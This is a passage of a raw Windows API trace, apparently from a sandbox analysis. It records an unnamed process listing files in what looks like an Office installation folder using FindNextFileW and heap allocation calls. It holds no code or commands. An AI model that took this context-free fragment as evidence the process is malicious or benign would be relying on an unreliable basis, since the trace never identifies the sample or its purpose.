[0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ace0 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058ba8 [0069.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ad00 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058c30 [0069.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3600) returned 0x105dbc0 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.373] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ad20 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058cb8 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.373] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ad40 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058d40 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ad60 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058dc8 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="")) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.374] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="")) returned 1 [0069.375] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ad80 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058e50 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ada0 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058ed8 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101adc0 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058f60 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.376] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ade0 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058fe8 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.378] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="")) returned 1 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058988) returned 1 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ae00 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054a30 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.378] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="")) returned 1 [0069.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ae20 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054b38 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="")) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.379] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.379] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ae40 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058988 [0069.380] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.380] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="")) returned 1 [0069.380] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101ae60 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059070 [0069.380] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.380] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0069.380] RtlAllocateHeap (HeapHandle=0xf70000, 